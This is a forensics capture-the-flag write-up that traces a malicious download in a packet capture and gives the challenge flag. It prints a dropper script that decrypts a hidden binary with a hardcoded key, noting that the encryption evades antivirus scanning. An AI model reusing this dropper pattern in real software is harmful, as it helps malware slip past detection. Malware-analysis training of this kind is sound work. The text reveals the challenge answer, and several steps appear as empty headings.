UMass CTF 2026 Write-Up

Click Here For Free Bricks

Category: Forensics

Level: Medium

File: click-here-for-free-bricks.zip


Challenge Description

A man was caught with malware on his PC in Lego City. Luckily, we were able to get a packet capture of his device during the download. Help Lego City Police figure out the source of this malicious download.

The flag is in the format UMASS{[String]_[Sha256 Hash]} of the malicious download.


Extracting the Archive

Start by unzipping the provided archive to get the packet capture file:

unzip click-here-for-free-bricks.zip
# Archive:  click-here-for-free-bricks.zip
#   inflating: thedamage.pcapng

Opening the PCAP in Wireshark

Open the capture file in Wireshark:

┌──(kali㉿kali)-[~/Desktop/uma/uma2]
└─$ wireshark thedamage.pcapng

Apply an HTTP display filter to narrow down the traffic:


Exporting HTTP Objects

Navigate to File → Export Objects → HTTP to extract all files transferred over HTTP from the capture.


Hashing the Downloaded Files

Once exported, compute the SHA256 hashes of all downloaded files:

┌──(kali㉿kali)-[~/Desktop/uma/http output]
└─$ sha256sum *
c47301469f98b505e0bad828433099021142fafcc607dd3e8cd367c80ee906be  cooldog.jpeg
444e6d5782d28e96ab7e50f00bec05a9f1a7508671f9dd839a1c9ab72b62923a  fungame.jpg
5045f6c84b7290069ec899639a3106746d7da95d5f1aa381b2ac69d81da6e8de  installer.py
695b3eeeb8a4a4d22405d78732f19c6e42527d374ae3b23ba1c4e4b757e10359  launcher
999831df24ef9b984dd12eb28580a84c5b5617ef54410e87f3e9f6fb06b3ec35  literallyme.jpeg

Five files were downloaded: three JPEG images (likely decoys), a Python script, and a binary.


Analysing the Attack Vector

Looking at the full picture in Wireshark, here is what happened in the capture:


Inspecting the Malware: installer.py

Reading the script reveals exactly what it does:

┌──(kali㉿kali)-[~/Desktop/uma/http output]
└─$ cat installer.py
import subprocess
import hashlib
import nacl.secret

def fix_error():
    seed = "38093248092rsjrwedoaw3"
    key = hashlib.sha256(seed.encode()).digest()
    box = nacl.secret.SecretBox(key)
    with open("./launcher", "rb") as f:
        data = f.read()
    decrypted = box.decrypt(data)
    with open("./launcher", "wb") as f:
        f.write(decrypted)

print("Hello World")
try:
    fix_error()
    print("Installed Correctly")
    result = subprocess.run(["ping", "-c", "2", "76.54.32.144"])
    print(result)
except Exception as e:
    print(f"Installation failed, please try again {e}")

What installer.py does:


Checking VirusTotal for installer.py and launcher

Searching both hashes on VirusTotal initially returns clean results — the encrypted payload evades detection:

File SHA256 VT Result
installer.py 5045f6c84b7290069ec899639a3106746d7da95d5f1aa381b2ac69d81da6e8de Clean
launcher 695b3eeeb8a4a4d22405d78732f19c6e42527d374ae3b23ba1c4e4b757e10359 Clean

This is expected — the launcher is encrypted on disk, so AV engines can’t identify it.


Decrypting the launcher Binary

We need to replicate the decryption from installer.py manually.

┌──(kali㉿kali)-[~/Desktop/uma/http output]
└─$ python3 -c "
import hashlib
seed = '38093248092rsjrwedoaw3'
key = hashlib.sha256(seed.encode()).digest()
print('Key:', key.hex())
" > launcher_decrypted
Key: ba61a153eada267fcd3378aa20bb468e4be4e90a584c69669e52b1c4189f1758

Alternatively, you can derive the key using CyberChef: Hash the seed string with SHA256 to get the raw 32-byte key.

┌──(kali㉿kali)-[~/Desktop/uma/http output]
└─$ python3 -c "
import hashlib
import nacl.secret

seed = '38093248092rsjrwedoaw3'
key = hashlib.sha256(seed.encode()).digest()
box = nacl.secret.SecretBox(key)
with open('launcher', 'rb') as f:
    data = f.read()
decrypted = box.decrypt(data)
with open('launcher_decrypted', 'wb') as f:
    f.write(decrypted)
print('Decrypted size:', len(decrypted))
print('First bytes (hex):', decrypted[:16].hex())
"
Decrypted size: 13182
First bytes (hex): cc008680002000000010000000000000
┌──(kali㉿kali)-[~/Desktop/uma/http output]
└─$ file launcher_decrypted && sha256sum launcher_decrypted
launcher_decrypted: FreeBSD/i386 compact demand paged dynamically linked executable not stripped
e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae  launcher_decrypted

The decrypted launcher is a FreeBSD i386 executable — the actual malware payload.

SHA256 of decrypted launcher: e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae


Identifying the Malware on VirusTotal

Search the decrypted hash on VirusTotal: 🔗 View on VirusTotal

Navigate to the Details tab to find the malware name:

The malware is identified under the name TheZoo, giving us the flag in the correct format: UMASS{[sha256sum]}

TheZoo_e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae

FLAG 🚩: UMASS{TheZoo_e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae}


Written for UMassCTF 2026 — Forensics

By Errorcode14